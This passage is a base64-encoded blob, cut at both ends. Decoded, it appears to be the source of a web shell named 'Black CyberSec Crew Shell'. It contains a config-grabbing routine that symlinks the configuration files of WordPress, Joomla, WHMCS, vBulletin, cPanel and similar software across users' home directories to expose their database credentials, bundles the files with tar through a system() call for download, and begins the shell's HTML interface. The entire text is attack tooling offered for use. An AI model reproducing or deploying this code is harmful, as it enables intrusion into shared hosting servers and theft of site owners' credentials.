2NwSURzZ0RRb2djM2x0YkdsdWF5Z25MMmh2YldVdkp5NGtkWE5sY2k0bkwzQjFZbXhwWTE5b2RHMXNMM2RsWWk5M2NDMWpiMjVtYVdjdWNHaHdKeXdrYTI5c1lTNG5MWGR2Y21Sd2NtVnpjeUF0SUhkbFlpNTBlSFFuS1NBN0lBMEtJSE41Yld4cGJtc29KeTlvYjIxbEx5Y3VKSFZ6WlhJdUp5OXdkV0pzYVdOZmFIUnRiQzlUVTBrdWNHaHdKeXdrYTI5c1lTNG5MU0JESUUwZ1JpQXVkSGgwSnlrZ095QU5DaUJ6ZVcxc2FXNXJLQ2N2YUc5dFpTOG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3d2Wm05eWRXMHZVMU5KTG5Cb2NDY3NKR3R2YkdFdUp5MGdReUJOSUVZZ0xTQm1iM0oxYlM1MGVIUW5LU0E3SUEwS0lITjViV3hwYm1zb0p5OW9iMjFsTHljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOXBibU12WTI5dVptbG5MbkJvY0Njc0pHdHZiR0V1SnkwZ1RYbENRaTUwZUhRbktTQTdEUW9nYzNsdGJHbHVheWduTDJodmJXVXZKeTRrZFhObGNpNG5MM0IxWW14cFkxOW9kRzFzTDJadmNuVnRMMmx1WXk5amIyNW1hV2N1Y0dod0p5d2thMjlzWVM0bkxTQk5lVUpDSUMwZ1ptOXlkVzB1ZEhoMEp5a2dPdzBLSUhONWJXeHBibXNvSnk5b2IyMWxMeWN1SkhWelpYSXVKeTl3ZFdKc2FXTmZhSFJ0YkM5amIyNW1hV2N1Y0dod0p5d2thMjlzWVM0bkxTQlBkR2hsY2k1MGVIUW5LU0E3RFFvZ2MzbHRiR2x1YXlnbkwyaHZiV1V2Snk0a2RYTmxjaTRuTDNCMVlteHBZMTlvZEcxc0wyeHBZaTlqYjI1bWFXY3VjR2h3Snl3a2EyOXNZUzRuTFNCQ1lXeHBkR0poYm1jdWRIaDBKeWtnT3lBTkNpQnplVzFzYVc1cktDY3ZhRzl0WlM4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZZMnhwWlc1MEwyTnZibVpwWjNWeVlYUnBiMjR1Y0dod0p5d2thMjlzWVM0bkxXTnNhV1Z1ZEhNdWRIaDBKeWtnT3lBTkNpQnplVzFzYVc1cktDY3ZhRzl0WlM4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZZMnhwWlc1MGN5OWpiMjVtYVdkMWNtRjBhVzl1TG5Cb2NDY3NKR3R2YkdFdUp5MWpiR2xsYm5RdWRIaDBKeWtnT3lBTkNpQnplVzFzYVc1cktDY3ZhRzl0WlM4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZZbWxzYkdsdVp5OWpiMjVtYVdkMWNtRjBhVzl1TG5Cb2NDY3NKR3R2YkdFdUp5MWlhV3hzYVc1bkxuUjRkQ2NwSURzZ0RRb2djM2x0YkdsdWF5Z25MMmh2YldVdkp5NGtkWE5sY2k0bkwzQjFZbXhwWTE5b2RHMXNMMkpwYkd4cGJtZHpMMk52Ym1acFozVnlZWFJwYjI0dWNHaHdKeXdrYTI5c1lTNG5MV0pwYkd4cGJtZHpMblI0ZENjcElEc2dEUW9nYzNsdGJHbHVheWduTDJodmJXVXZKeTRrZFhObGNpNG5MM0IxWW14cFkxOW9kRzFzTDNkb2JXTnpMMk52Ym1acFozVnlZWFJwYjI0dWNHaHdKeXdrYTI5c1lTNG5MU0IzYUcxamN5QXRJSGRvYldOekxuUjRkQ2NwSURzZ0RRb2djM2x0YkdsdWF5Z25MMmh2YldVdkp5NGtkWE5sY2k0bkwzQjFZbXhwWTE5b2RHMXNMM2RvYlM5amIyNW1hV2QxY21GMGFXOXVMbkJvY0Njc0pHdHZiR0V1SnkwZ2QyaHRJQzBnZDJodExuUjRkQ2NwT3cwS0lITjViV3hwYm1zb0p5OW9iMjFsTHljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOW1iM0oxYlM5cGJtTnNkV1JsY3k5amIyNW1hV2N1Y0dod0p5d2thMjlzWVM0bkxTQldRblZzYkdWMGFXNGdMU0JtYjNKMWJTNTBlSFFuS1RzTkNpQnplVzFzYVc1cktDY3ZhRzl0WlM4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZabTl5ZFcwdlkyOXVabWxuTG5Cb2NDY3NKR3R2YkdFdUp3a3RJRkJvY0VKQ0lDMGdabTl5ZFcwdWRIaDBKeWtnT3cwS0lITjViV3hwYm1zb0p5OW9iMjFsTHljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOTNhRzFqTDJOdmJtWnBaM1Z5WVhScGIyNHVjR2h3Snl3a2EyOXNZUzRuTFNCM2FHMWpJQzBnZDJodFl5NTBlSFFuS1RzTkNpQnplVzFzYVc1cktDY3ZhRzl0WlM4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZjM1ZpYldsMGRHbGphMlYwTG5Cb2NDY3NKR3R2YkdFdUp3a3RJSGRvYldOek1pNTBlSFFuS1RzTkNpQnplVzFzYVc1cktDY3ZhRzl0WlM4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZiV0Z1WVdkbEwyTnZibVpwWjNWeVlYUnBiMjR1Y0dod0p5d2thMjlzWVM0bkNTMXRZVzVuWlhkb2JXTnpMblI0ZENjcE95QU5DaUJ6ZVcxc2FXNXJLQ2N2YUc5dFpTOG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3d2YlhsemFHOXdMMk52Ym1acFozVnlZWFJwYjI0dWNHaHdKeXdrYTI5c1lTNG5DUzF0ZVhOb2IzQXVkSGgwSnlrN0lBMEtJSE41Yld4cGJtc29KeTlvYjIxbEx5Y3VKSFZ6WlhJdUp5OXdkV0pzYVdOZmFIUnRiQzl6ZFhCd2IzSjBMMk52Ym1acFozVnlZWFJwYjI0dWNHaHdKeXdrYTI5c1lTNG5MWE4xY0hCdmNuUXVkSGgwSnlrN0RRb2djM2x0YkdsdWF5Z25MMmh2YldVdkp5NGtkWE5sY2k0bkwzQjFZbXhwWTE5b2RHMXNMM04xY0hCdmNuUnpMMk52Ym1acFozVnlZWFJwYjI0dWNHaHdKeXdrYTI5c1lTNG5MWE4xY0hCdmNuUnpMblI0ZENjcE93MEtJSE41Yld4cGJtc29KeTlvYjIxbEx5Y3VKSFZ6WlhJdUp5OXdkV0pzYVdOZmFIUnRiQzl2YzJOdmJXMWxjbU5sTDJsdVkyeDFaR1Z6TDJOdmJtWnBaM1Z5WlM1d2FIQW5MQ1JyYjJ4aExpY3RiM05qYjIxdFpYSmpaUzUwZUhRbktUc05DaUJ6ZVcxc2FXNXJLQ2N2YUc5dFpTOG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3d2YjNOamIyMXRaWEpqWlhNdmFXNWpiSFZrWlhNdlkyOXVabWxuZFhKbExuQm9jQ2NzSkd0dmJHRXVKeTF2YzJOdmJXMWxjbU5sY3k1MGVIUW5LVHNOQ2lCemVXMXNhVzVyS0NjdmFHOXRaUzhuTGlSMWMyVnlMaWN2Y0hWaWJHbGpYMmgwYld3dmMyaHZjSEJwYm1jdmFXNWpiSFZrWlhNdlkyOXVabWxuZFhKbExuQm9jQ2NzSkd0dmJHRXVKeTF6YUc5d0xYTm9iM0J3YVc1bkxuUjRkQ2NwT3cwS0lITjViV3hwYm1zb0p5OW9iMjFsTHljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOXpZV3hsTDJsdVkyeDFaR1Z6TDJOdmJtWnBaM1Z5WlM1d2FIQW5MQ1JyYjJ4aExpY3RjMkZzWlM1MGVIUW5LVHNOQ2lCemVXMXNhVzVyS0NjdmFHOXRaUzhuTGlSMWMyVnlMaWN2Y0hWaWJHbGpYMmgwYld3dllXMWxiV0psY2k5amIyNW1hV2N1YVc1akxuQm9jQ2NzSkd0dmJHRXVKeTFoYldWdFltVnlMblI0ZENjcE93MEtJSE41Yld4cGJtc29KeTlvYjIxbEx5Y3VKSFZ6WlhJdUp5OXdkV0pzYVdOZmFIUnRiQzlqYjI1bWFXY3VhVzVqTG5Cb2NDY3NKR3R2YkdFdUp5MWhiV1Z0WW1WeU1pNTBlSFFuS1RzTkNpQnplVzFzYVc1cktDY3ZhRzl0WlM4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZkM0F2ZDNBdFkyOXVabWxuTG5Cb2NDY3NKR3R2YkdFdUp5MGdkMjl5WkhCeVpYTnpJQzBnZDNBdWRIaDBKeWs3RFFvZ2MzbHRiR2x1YXlnbkwyaHZiV1V2Snk0a2RYTmxjaTRuTDNCMVlteHBZMTlvZEcxc0wzZHdMMkpsZEdFdmQzQXRZMjl1Wm1sbkxuQm9jQ2NzSkd0dmJHRXVKeTBnZDNkdmNtUndjbVZ6Y3lBdElIZHdJQzBnWW1WMFlTNTBlSFFuS1RzTkNpQnplVzFzYVc1cktDY3ZhRzl0WlM4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZZbVYwWVM5M2NDMWpiMjVtYVdjdWNHaHdKeXdrYTI5c1lTNG5MU0IzYjNKa2NISmxjM01nTFNCaVpYUmhMblI0ZENjcE93MEtJSE41Yld4cGJtc29KeTlvYjIxbEx5Y3VKSFZ6WlhJdUp5OXdkV0pzYVdOZmFIUnRiQzl3Y21WemN5OTNjQzFqYjI1bWFXY3VjR2h3Snl3a2EyOXNZUzRuTFhkd01UTXRjSEpsYzNNdWRIaDBKeWs3RFFvZ2MzbHRiR2x1YXlnbkwyaHZiV1V2Snk0a2RYTmxjaTRuTDNCMVlteHBZMTlvZEcxc0wzZHZjbVJ3Y21WemN5OTNjQzFqYjI1bWFXY3VjR2h3Snl3a2EyOXNZUzRuTFNCM2IzSmtjSEpsYzNNZ0xYZHZjbVJ3Y21WemN5NTBlSFFuS1RzTkNpQnplVzFzYVc1cktDY3ZhRzl0WlM4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZkMjl5WkhCeVpYTnpMMkpsZEdFdmQzQXRZMjl1Wm1sbkxuQm9jQ2NzSkd0dmJHRXVKeTBnZDI5eVpIQnlaWE56SUMwZ2QyOXlaSEJ5WlhOekxXSmxkR0V1ZEhoMEp5azdEUW9nYzNsdGJHbHVheWduTDJodmJXVXZKeTRrZFhObGNpNG5MM0IxWW14cFkxOW9kRzFzTDI1bGQzTXZkM0F0WTI5dVptbG5MbkJvY0Njc0pHdHZiR0V1SnkwZ2QyOXlaSEJ5WlhOeklDMXVaWGR6TG5SNGRDY3BPdzBLSUhONWJXeHBibXNvSnk5b2IyMWxMeWN1SkhWelpYSXVKeTl3ZFdKc2FXTmZhSFJ0YkM5dVpYY3ZkM0F0WTI5dVptbG5MbkJvY0Njc0pHdHZiR0V1SnkwZ2QyOXlaSEJ5WlhOeklDMGdibVYzTG5SNGRDY3BPdzBLSUhONWJXeHBibXNvSnk5b2IyMWxMeWN1SkhWelpYSXVKeTl3ZFdKc2FXTmZhSFJ0YkM5aWJHOW5jeTkzY0MxamIyNW1hV2N1Y0dod0p5d2thMjlzWVM0bkxTQjNiM0prY0hKbGMzTWdMU0JpYkc5bmN5NTBlSFFuS1RzTkNpQnplVzFzYVc1cktDY3ZhRzl0WlM4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZhRzl0WlM5M2NDMWpiMjVtYVdjdWNHaHdKeXdrYTI5c1lTNG5MU0IzYjNKa2NISmxjM01nTFNCb2IyMWxMblI0ZENjcE93MEtJSE41Yld4cGJtc29KeTlvYjIxbEx5Y3VKSFZ6WlhJdUp5OXdkV0pzYVdOZmFIUnRiQzl3Y205MFlXd3ZkM0F0WTI5dVptbG5MbkJvY0Njc0pHdHZiR0V1SnkwZ2QyOXlaSEJ5WlhOeklDMGdjSEp2ZEdGc0xuUjRkQ2NwT3cwS0lITjViV3hwYm1zb0p5OW9iMjFsTHljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOXphWFJsTDNkd0xXTnZibVpwWnk1d2FIQW5MQ1JyYjJ4aExpY3RJSGR2Y21Sd2NtVnpjeUF0SUhOcGRHVXVkSGgwSnlrN0RRb2djM2x0YkdsdWF5Z25MMmh2YldVdkp5NGtkWE5sY2k0bkwzQjFZbXhwWTE5b2RHMXNMMjFoYVc0dmQzQXRZMjl1Wm1sbkxuQm9jQ2NzSkd0dmJHRXVKeTBnZDI5eVpIQnlaWE56SUMwZ2JXRnBiaTUwZUhRbktUc05DaUJ6ZVcxc2FXNXJLQ2N2YUc5dFpTOG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3d2ZEdWemRDOTNjQzFqYjI1bWFXY3VjR2h3Snl3a2EyOXNZUzRuTFNCM2IzSmtjSEpsYzNNZ0xTQjBaWE4wTG5SNGRDY3BPdzBLSUhONWJXeHBibXNvSnk5b2IyMWxMeWN1SkhWelpYSXVKeTl3ZFdKc2FXTmZhSFJ0YkM5cWIyOXRiR0V2WTI5dVptbG5kWEpoZEdsdmJpNXdhSEFuTENScmIyeGhMaWN0YW05dmJXeGhJQzBnYW05dmJXeGhJQzUwZUhRbktUc05DaUJ6ZVcxc2FXNXJLQ2N2YUc5dFpTOG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3d2Y0hKdmRHRnNMMk52Ym1acFozVnlZWFJwYjI0dWNHaHdKeXdrYTI5c1lTNG5MU0JxYjI5dGJHRWdMU0J3Y205MFlXd3VkSGgwSnlrN0RRb2djM2x0YkdsdWF5Z25MMmh2YldVdkp5NGtkWE5sY2k0bkwzQjFZbXhwWTE5b2RHMXNMMnB2Ynk5amIyNW1hV2QxY21GMGFXOXVMbkJvY0Njc0pHdHZiR0V1SnkwZ2FtOXZiV3hoSUMwZ2FtOXZMblI0ZENjcE93MEtJSE41Yld4cGJtc29KeTlvYjIxbEx5Y3VKSFZ6WlhJdUp5OXdkV0pzYVdOZmFIUnRiQzlqYlhNdlkyOXVabWxuZFhKaGRHbHZiaTV3YUhBbkxDUnJiMnhoTGljdElHcHZiMjFzWVNBdElHTnRjeTUwZUhRbktUc05DaUJ6ZVcxc2FXNXJLQ2N2YUc5dFpTOG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3d2YzJsMFpTOWpiMjVtYVdkMWNtRjBhVzl1TG5Cb2NDY3NKR3R2YkdFdUp5MGdhbTl2Yld4aElDMGdjMmwwWlM1MGVIUW5LVHNOQ2lCemVXMXNhVzVyS0NjdmFHOXRaUzhuTGlSMWMyVnlMaWN2Y0hWaWJHbGpYMmgwYld3dmJXRnBiaTlqYjI1bWFXZDFjbUYwYVc5dUxuQm9jQ2NzSkd0dmJHRXVKeTBnYW05dmJXeGhJQzBnYldGcGJpNTBlSFFuS1RzTkNpQnplVzFzYVc1cktDY3ZhRzl0WlM4bkxpUjFjMlZ5TGljdmNIVmliR2xqWDJoMGJXd3ZibVYzY3k5amIyNW1hV2QxY21GMGFXOXVMbkJvY0Njc0pHdHZiR0V1SnkwZ2FtOXZiV3hoSUMwZ2JtVjNjeTUwZUhRbktUc05DaUJ6ZVcxc2FXNXJLQ2N2YUc5dFpTOG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3d2Ym1WM0wyTnZibVpwWjNWeVlYUnBiMjR1Y0dod0p5d2thMjlzWVM0bkxTQnFiMjl0YkdFZ0xTQnVaWGN1ZEhoMEp5azdEUW9nYzNsdGJHbHVheWduTDJodmJXVXZKeTRrZFhObGNpNG5MM0IxWW14cFkxOW9kRzFzTDJodmJXVXZZMjl1Wm1sbmRYSmhkR2x2Ymk1d2FIQW5MQ1JyYjJ4aExpY3RJR3B2YjIxc1lTQXRJR2h2YldVdWRIaDBKeWs3RFFvZ2MzbHRiR2x1YXlnbkwyaHZiV1V2Snk0a2RYTmxjaTRuTDNCMVlteHBZMTlvZEcxc0wzWmlMMmx1WTJ4MVpHVnpMMk52Ym1acFp5NXdhSEFuTENScmIyeGhMaWN0SUhaaUxuUjRkQ2NwT3cwS0lITjViV3hwYm1zb0p5OW9iMjFsTHljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOTJZak12YVc1amJIVmtaWE12WTI5dVptbG5MbkJvY0Njc0pHdHZiR0V1SnkwZ2RtSXpMblI0ZENjcE93MEtJSE41Yld4cGJtc29KeTlvYjIxbEx5Y3VKSFZ6WlhJdUp5OXdkV0pzYVdOZmFIUnRiQzlqY0dGdVpXd3ZZMjl1Wm1sbmRYSmhkR2x2Ymk1d2FIQW5MQ1JyYjJ4aExpY3RZM0JoYm1Wc0xuUjRkQ2NwT3cwS0lITjViV3hwYm1zb0p5OW9iMjFsTHljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOXdZVzVsYkM5amIyNW1hV2QxY21GMGFXOXVMbkJvY0Njc0pHdHZiR0V1Snkxd1lXNWxiQzUwZUhRbktUc05DaUJ6ZVcxc2FXNXJLQ2N2YUc5dFpTOG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3d2YUc5emRDOWpiMjVtYVdkMWNtRjBhVzl1TG5Cb2NDY3NKR3R2YkdFdUp5MW9iM04wTG5SNGRDY3BPdzBLSUhONWJXeHBibXNvSnk5b2IyMWxMeWN1SkhWelpYSXVKeTl3ZFdKc2FXTmZhSFJ0YkM5b2IzTjBhVzVuTDJOdmJtWnBaM1Z5WVhScGIyNHVjR2h3Snl3a2EyOXNZUzRuTFdodmMzUnBibWN1ZEhoMEp5azdEUW9nYzNsdGJHbHVheWduTDJodmJXVXZKeTRrZFhObGNpNG5MM0IxWW14cFkxOW9kRzFzTDJodmMzUnpMMk52Ym1acFozVnlZWFJwYjI0dWNHaHdKeXdrYTI5c1lTNG5MV2h2YzNSekxuUjRkQ2NwT3cwS0lITjViV3hwYm1zb0p5OW9iMjFsTHljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOXBibU5zZFdSbGN5OWthWE4wTFdOdmJtWnBaM1Z5WlM1d2FIQW5MQ1JyYjJ4aExpY3RlbVZ1WTJGeWRDNTBlSFFuS1RzZ0RRb2djM2x0YkdsdWF5Z25MMmh2YldVdkp5NGtkWE5sY2k0bkwzQjFZbXhwWTE5b2RHMXNMM3BsYm1OaGNuUXZhVzVqYkhWa1pYTXZaR2x6ZEMxamIyNW1hV2QxY21VdWNHaHdKeXdrYTI5c1lTNG5MU0I2Wlc1allYSjBJQzBnYzJodmNDNTBlSFFuS1RzZ0RRb2djM2x0YkdsdWF5Z25MMmh2YldVdkp5NGtkWE5sY2k0bkwzQjFZbXhwWTE5b2RHMXNMM05vYjNBdmFXNWpiSFZrWlhNdlpHbHpkQzFqYjI1bWFXZDFjbVV1Y0dod0p5d2thMjlzWVM0bkxYTm9iM0F0V2tOemFHOXdMblI0ZENjcE95QU5DaUJ6ZVcxc2FXNXJLQ2N2YUc5dFpTOG5MaVIxYzJWeUxpY3ZjSFZpYkdsalgyaDBiV3d2VTJWMGRHbHVaM011Y0dod0p5d2thMjlzWVM0bkxTQnpiV1l1ZEhoMEp5azdJQTBLSUhONWJXeHBibXNvSnk5b2IyMWxMeWN1SkhWelpYSXVKeTl3ZFdKc2FXTmZhSFJ0YkM5emJXWXZVMlYwZEdsdVozTXVjR2h3Snl3a2EyOXNZUzRuTFNCemJXWWdMU0J6YldZdWRIaDBKeWs3SUEwS0lITjViV3hwYm1zb0p5OW9iMjFsTHljdUpIVnpaWEl1Snk5d2RXSnNhV05mYUhSdGJDOW1iM0oxYlM5VFpYUjBhVzVuY3k1d2FIQW5MQ1JyYjJ4aExpY3RJSE50WmlBdElHWnZjblZ0TG5SNGRDY3BPeUFOQ2lCemVXMXNhVzVyS0NjdmFHOXRaUzhuTGlSMWMyVnlMaWN2Y0hWaWJHbGpYMmgwYld3dlptOXlkVzF6TDFObGRIUnBibWR6TG5Cb2NDY3NKR3R2YkdFdUp5MGdjMjFtSUMwZ1ptOXlkVzF6TG5SNGRDY3BPeUFOQ2lCemVXMXNhVzVyS0NjdmFHOXRaUzhuTGlSMWMyVnlMaWN2Y0hWaWJHbGpYMmgwYld3dmRYQnNiMkZrTDJsdVkyeDFaR1Z6TDJOdmJtWnBaeTV3YUhBbkxDUnJiMnhoTGljdElIVndiRzloWkNBdWRIaDBKeWs3RFFvZ2MzbHRiR2x1YXlnbkwyaHZiV1V2Snk0a2RYTmxjaTRuTDNCMVlteHBZMTlvZEcxc0wybHVZMnd2WTI5dVptbG5MbkJvY0Njc0pHdHZiR0V1SnkwZ2JXRnNZWGt1ZEhoMEp5azdEUW9nYzNsdGJHbHVheWduTDJodmJXVXZKeTRrZFhObGNpNG5MM0IxWW14cFkxOW9kRzFzTDJOdmJtWnBaeTlyYjI1bGEzTnBMbkJvY0Njc0pHdHZiR0V1SnkwZ2JHOXJiMjFsWkdsaExuUjRkQ2NwT3cwS0lITjViV3hwYm1zb0p5OW9iMjFsTHljdUpIVnpaWEl1Snk5emVYTjBaVzB2YzJsemRHVnRMbkJvY0Njc0pHdHZiR0V1SnkwZ2JHOXJiMjFsWkdsaExuUjRkQ2NwT3lBTkNpQjlEUXBwWmlBb0pFVk9WbnNuVWtWUlZVVlRWRjlOUlZSSVQwUW5mU0JsY1NBblVFOVRWQ2NwSUhzTkNpQWdjbVZoWkNoVFZFUkpUaXdnSkdKMVptWmxjaXdnSkVWT1Zuc25RMDlPVkVWT1ZGOU1SVTVIVkVnbmZTazdEUXA5SUdWc2MyVWdldzBLSUNBa1luVm1abVZ5SUQwZ0pFVk9WbnNuVVZWRlVsbGZVMVJTU1U1SEozMDdEUXA5RFFwQWNHRnBjbk1nUFNCemNHeHBkQ2d2Smk4c0lDUmlkV1ptWlhJcE93MEtabTl5WldGamFDQWtjR0ZwY2lBb1FIQmhhWEp6S1NCN0RRb2dJQ2drYm1GdFpTd2dKSFpoYkhWbEtTQTlJSE53YkdsMEtDODlMeXdnSkhCaGFYSXBPdzBLSUNBa2JtRnRaU0E5ZmlCMGNpOHJMeUF2T3cwS0lDQWtibUZ0WlNBOWZpQnpMeVVvVzJFdFprRXRSakF0T1YxYllTMW1RUzFHTUMwNVhTa3ZjR0ZqYXlnaVF5SXNJR2hsZUNna01Ta3BMMlZuT3cwS0lDQWtkbUZzZFdVZ1BYNGdkSEl2S3k4Z0x6c05DaUFnSkhaaGJIVmxJRDErSUhNdkpTaGJZUzFtUVMxR01DMDVYVnRoTFdaQkxVWXdMVGxkS1M5d1lXTnJLQ0pESWl3Z2FHVjRLQ1F4S1NrdlpXYzdEUW9nSUNSR1QxSk5leVJ1WVcxbGZTQTlJQ1IyWVd4MVpUc05DbjBOQ21sbUlDZ2tSazlTVFh0d1lYTnpmU0JsY1NBaUlpbDdEUXB3Y21sdWRDQW5EUW84WW05a2VTQmpiR0Z6Y3owaWJtVjNVM1I1YkdVeElqNE5Danh3UGladVluTndPend2Y0Q0TkNqeG1iM0p0SUcxbGRHaHZaRDBpY0c5emRDSStEUW84ZEdWNGRHRnlaV0VnYm1GdFpUMGljR0Z6Y3lJZ2MzUjViR1U5SW5kcFpIUm9PaUExTkROd2VEc2dhR1ZwWjJoME9pQTBNREJ3ZUNJK1BDOTBaWGgwWVhKbFlUNE5DanhpY2lBdlBqeGljaUF2UGcwS1BHbHVjSFYwSUc1aGJXVTlJblJoY2lJZ2RIbHdaVDBpZEdWNGRDSWdjM1I1YkdVOUluZHBaSFJvT2lBeU1USndlQ0lnTHo0OFluSWdMejQ4WW5JZ0x6NE5DanhwYm5CMWRDQnVZVzFsUFNKVGRXSnRhWFF4SWlCMGVYQmxQU0p6ZFdKdGFYUWlJSFpoYkhWbFBTSklZV3BoY2lBdUxpRWlJSE4wZVd4bFBTSjNhV1IwYURvZ09UbHdlQ0lnTHo0TkNqeGljaUF2UGcwS1BDOW1iM0p0UGljN0RRcDlaV3h6WlhzTkNrQnNhVzVsY3lBOVBDUkdUMUpOZTNCaGMzTjlQanNOQ2lSNUlEMGdRR3hwYm1Wek93MEtiM0JsYmlBb1RWbEdTVXhGTENBaVBuUmhjaTUwYlhBaUtUc05DbkJ5YVc1MElFMVpSa2xNUlNBaWRHRnlJQzFqZW1ZZ0lpNGtSazlTVFh0MFlYSjlMaUl1ZEdGeUlDSTdEUXBtYjNJZ0tDUnJZVDB3T3lScllUd2tlVHNrYTJFckt5bDdEUXAzYUdsc1pTaEFiR2x1WlhOYkpHdGhYU0FnUFg0Z2JTOG9MaW8vS1RwNE9pOW5LWHNOQ2lac2FXd29KREVwT3cwS2NISnBiblFnVFZsR1NVeEZJQ1F4TGlJdWRIaDBJQ0k3RFFwbWIzSW9KR3RrUFRFN0pHdGtQREU0T3lSclpDc3JLWHNOQ25CeWFXNTBJRTFaUmtsTVJTQWtNUzRrYTJRdUlpNTBlSFFnSWpzTkNuME5DbjBOQ2lCOURRcHdjbWx1ZENjOFltOWtlU0JqYkdGemN6MGlibVYzVTNSNWJHVXhJajROQ2p4d1BrUnZibVVnSVNFOEwzQStEUW84Y0Q0bWJtSnpjRHM4TDNBK0p6c05DbWxtS0NSR1QxSk5lM1JoY24wZ2JtVWdJaUlwZXcwS2IzQmxiaWhKVGtaUExDQWlkR0Z5TG5SdGNDSXBPdzBLUUd4cGJtVnpJRDA4U1U1R1R6NGdPdzBLWTJ4dmMyVW9TVTVHVHlrN0RRcHplWE4wWlcwb1FHeHBibVZ6S1RzTkNuQnlhVzUwSnp4d1BqeGhJR2h5WldZOUlpY3VKRVpQVWsxN2RHRnlmUzRuTG5SaGNpSStJR1J2ZDI1c2IyRmtJQ0JtYVd4bFBDOWhQand2Y0Q0bk93MEtmUTBLZlEwS0lIQnlhVzUwSWcwS1BDOWliMlI1UGcwS1BDOW9kRzFzUGlJNyc7IAo/Pgo8aHRtbD48aGVhZD48bGluayByZWw9IlNIT1JUQ1VUIElDT04iIGhyZWY9Imh0dHA6Ly9pMTM0NS5waG90b2J1Y2tldC5jb20vYWxidW1zL3A2NzMvQXBpel9wdWRpbi9CQ0M2X3pwczkwY2JlMDdjLnBuZyI+PHRpdGxlPiBCbGFjayBDeWJlclNlYyBDcmV3IFNoZWxsIDwvdGl0bGU+CjxzY3JpcHQgdHlwZT0idGV4dC9qYXZhc2NyaXB0Ij4KZnVuY3Rpb24gdHVrYXIobGFtYSxiYXJ1KXsKCWRvY3VtZW50LmdldEVsZW1lbnRCeUlkKGxhbWEpLnN0eWxlLmRpc3BsYXkgPSAnbm9uZSc7Cglkb2N1bWVudC5nZXRFbGVtZW50QnlJZChiYXJ1KS5zdHlsZS5kaXNwbGF5ID0gJ2Jsb2NrJzsKfQo8L3NjcmlwdD4KPHN0eWxlIHR5cGU9InRleHQvY3NzIj4KYm9keXsKCWJhY2tncm91bmQ6IzAwMDAwMDs7Cn0KYSB7CnRleHQtZGVjb3JhdGlvbjpub25lOwp9CmE6aG92ZXJ7CmJvcmRlci1ib3R0b206MXB4IHNvbGlkICNGRjAwMDA7Cn0KKnsKCWZvbnQtc2l6ZToxMXB4OwoJZm9udC1mYW1pbHk6VGFob21hLFZlcmRhbmEsQXJpYWw7Cgljb2xvcjojRkZGRkZGOwp9CiNtZW51ewoJYmFja2dyb3VuZDojNmEwNzA3OwoJbWFyZ2luOjhweCAycHggNHB4IDJweDsKfQojbWVudSBhewoJcGFkZGluZzo0cHggMThweDsKCW1hcmdpbjowOwoJYmFja2dyb3VuZDojYzQwOTA5OwoJdGV4dC1kZWNvcmF0aW9uOm5vbmU7CglsZXR0ZXItc3BhY2luZzoycHg7CgktbW96LWJvcmRlci1yYWRpdXM6IDVweDsgLXdlYmtpdC1ib3JkZXItcmFkaXVzOiA1cHg7IC1raHRtbC1ib3JkZXItcmFkaXVzOiA1cHg7IGJvcmRlci1yYWRpdXM6IDVweDsKfQojbWVudSBhOmhvdmVyewoJYmFja2dyb3VuZDojNmEwNzA3OwoJYm9yZGVyLWJvdHRvbToxcHggc29saWQgI2M0MDkwOTsKCWJvcmRlci10b3A6MXB4IHNvbGlkICNjNDA5MDk7Cn0KLnRhYm5ldHsKCW1hcmdpbjoxNXB4IGF1dG8gMCBhdXRvOwoJYm9yZGVyOiAxcHggc29saWQgI2M0MDkwOTsKfQoubWFpbiB7Cgl3aWR0aDoxMDAlOwp9Ci5nYXlhIHsKCWNvbG9yOiAjRkYwMDAwOwp9Ci5pbnB1dHp7CgliYWNrZ3JvdW5kOiM2YTA3MDc7Cglib3JkZXI6MDsKCXBhZGRpbmc6MnB4OwoJYm9yZGVyLWJvdHRvbToxcHggc29saWQgI2M0MDkwOTsKCWJvcmRlci10b3A6MXB4IHNvbGlkICNjNDA5MDk7Cn0KLmlucHV0emJ1dHsKCWJhY2tncm91bmQ6IzZhMDcwNzsKCWNvbG9yOiNGRjAwMDA7CgltYXJnaW46MCA0cHg7Cglib3JkZXI6MXB4IHNvbGlkICM0NDQ0NDQ7Cgp9Ci5pbnB1dHo6aG92ZXIsIC5pbnB1dHpidXQ6aG92ZXJ7Cglib3JkZXItYm90dG9tOjFweCBzb2xpZCAjRkYwMDAwOwoJYm9yZGVyLXRvcDoxcHggc29saWQgI0ZGMDAwMDsKfQoub3V0cHV0IHsKCW1hcmdpbjphdXRvOwoJYm9yZGVyOjFweCBzb2xpZCAjRkYwMDAwOwoJd2lkdGg6MTAwJTsKCWhlaWdodDo0MDBweDsKCWJhY2tncm91bmQ6IzAwMDAwMDsKCXBhZGRpbmc6MCAycHg7Cn0KLmNtZGJveHsKCXdpZHRoOjEwMCU7Cn0KLmhlYWRfaW5mb3sKCXBhZGRpbmc6IDAgNHB4Owp9Ci5qYX